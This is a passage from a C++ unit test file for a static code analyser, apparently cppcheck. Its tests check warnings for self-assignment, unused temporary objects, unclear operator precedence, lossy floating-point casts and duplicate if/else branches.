ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) 